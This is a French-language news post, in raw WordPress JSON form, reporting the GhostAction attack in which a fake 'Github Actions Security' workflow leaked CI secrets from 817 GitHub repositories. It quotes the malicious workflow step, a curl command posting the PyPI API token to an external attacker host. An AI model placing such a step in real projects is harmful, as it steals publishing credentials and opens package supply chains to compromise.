{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/news\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"Lors de l'attaque GhostAction, 817 d\u00e9p\u00f4ts sur GitHub ont \u00e9t\u00e9 compromis","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Des chercheurs de GitGuardian ont identifi\u00e9 une attaque massive contre les utilisateurs de GitHub, au cours de laquelle le contr\u00f4le de 327 comptes a \u00e9t\u00e9 obtenu et un gestionnaire malveillant de GitHub Action a \u00e9t\u00e9 ins\u00e9r\u00e9 dans 817 d\u00e9p\u00f4ts. L'attaque a conduit \u00e0 la fuite de 3325 secrets utilis\u00e9s dans les syst\u00e8mes d'int\u00e9gration continue et transmis via des variables d'environnement, y compris des jetons d'acc\u00e8s \u00e0 PyPI, GitHub, NPM, DockerHub et divers services de stockage en cloud.
<\/center> <\/p>\n
GitHub Actions permet aux d\u00e9veloppeurs de code d'attacher des gestionnaires pour automatiser diverses op\u00e9rations sur GitHub. Par exemple, gr\u00e2ce \u00e0 GitHub Actions, il est possible d'effectuer certaines v\u00e9rifications et tests lors des commits ou d'automatiser le traitement de nouveaux Issues. Un gestionnaire malveillant se propageait sous le nom de «Github Actions Security» et incluait dans la section «run» une commande «curl» envoyant le contenu des variables d'environnement vers un h\u00f4te externe lors de l'ex\u00e9cution de t\u00e2ches dans un environnement d'int\u00e9gration continue. Le commit malveillant a \u00e9t\u00e9 ajout\u00e9 \u00e0 partir de comptes de mainteneurs de projets qui avaient probablement \u00e9t\u00e9 pirat\u00e9s ou victimes de phishing. <\/p>\n
L'attaque a \u00e9t\u00e9 identifi\u00e9e apr\u00e8s l'analyse d'une activit\u00e9 anormale li\u00e9e au package FastUUID, qui fournit un wrapper Python pour la biblioth\u00e8que Rust UUID. Le package FastUUID, qui a enregistr\u00e9 pr\u00e8s de 1,2 million de t\u00e9l\u00e9chargements au cours de la derni\u00e8re semaine, est utilis\u00e9 comme d\u00e9pendance dans le projet populaire LiteLLM, qui compte plus de 5 millions de t\u00e9l\u00e9chargements par semaine sur PyPI. L'analyse des modifications dans le d\u00e9p\u00f4t FastUUID a montr\u00e9 que le 2 septembre, un mainteneur du projet a ajout\u00e9 un commit avec un nouveau gestionnaire Github Action, contenant du code pour envoyer un token au d\u00e9p\u00f4t PyPI vers un h\u00f4te externe. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
Le probl\u00e8me a \u00e9t\u00e9 identifi\u00e9 avant que les cybercriminels n'exploitent le token intercept\u00e9 — aucune publication de modifications malveillantes ou de versions modifi\u00e9es du package FastUUID sur PyPI n'a \u00e9t\u00e9 enregistr\u00e9e. Des substitutions similaires de Github Action ont \u00e9t\u00e9 identifi\u00e9es dans 816 d\u00e9p\u00f4ts, et des notifications ont \u00e9t\u00e9 envoy\u00e9es aux propri\u00e9taires ainsi qu'\u00e0 l'administration de PyPI, GitHub, NPM et DockerHub. \u00c0 la fin de la journ\u00e9e d'hier, les commits malveillants avaient \u00e9t\u00e9 annul\u00e9s dans environ 100 d\u00e9p\u00f4ts. Actuellement, 671 commits avec un Github Action malveillant sont d\u00e9tect\u00e9s lors des recherches sur GitHub. \n Source : opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Lors](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n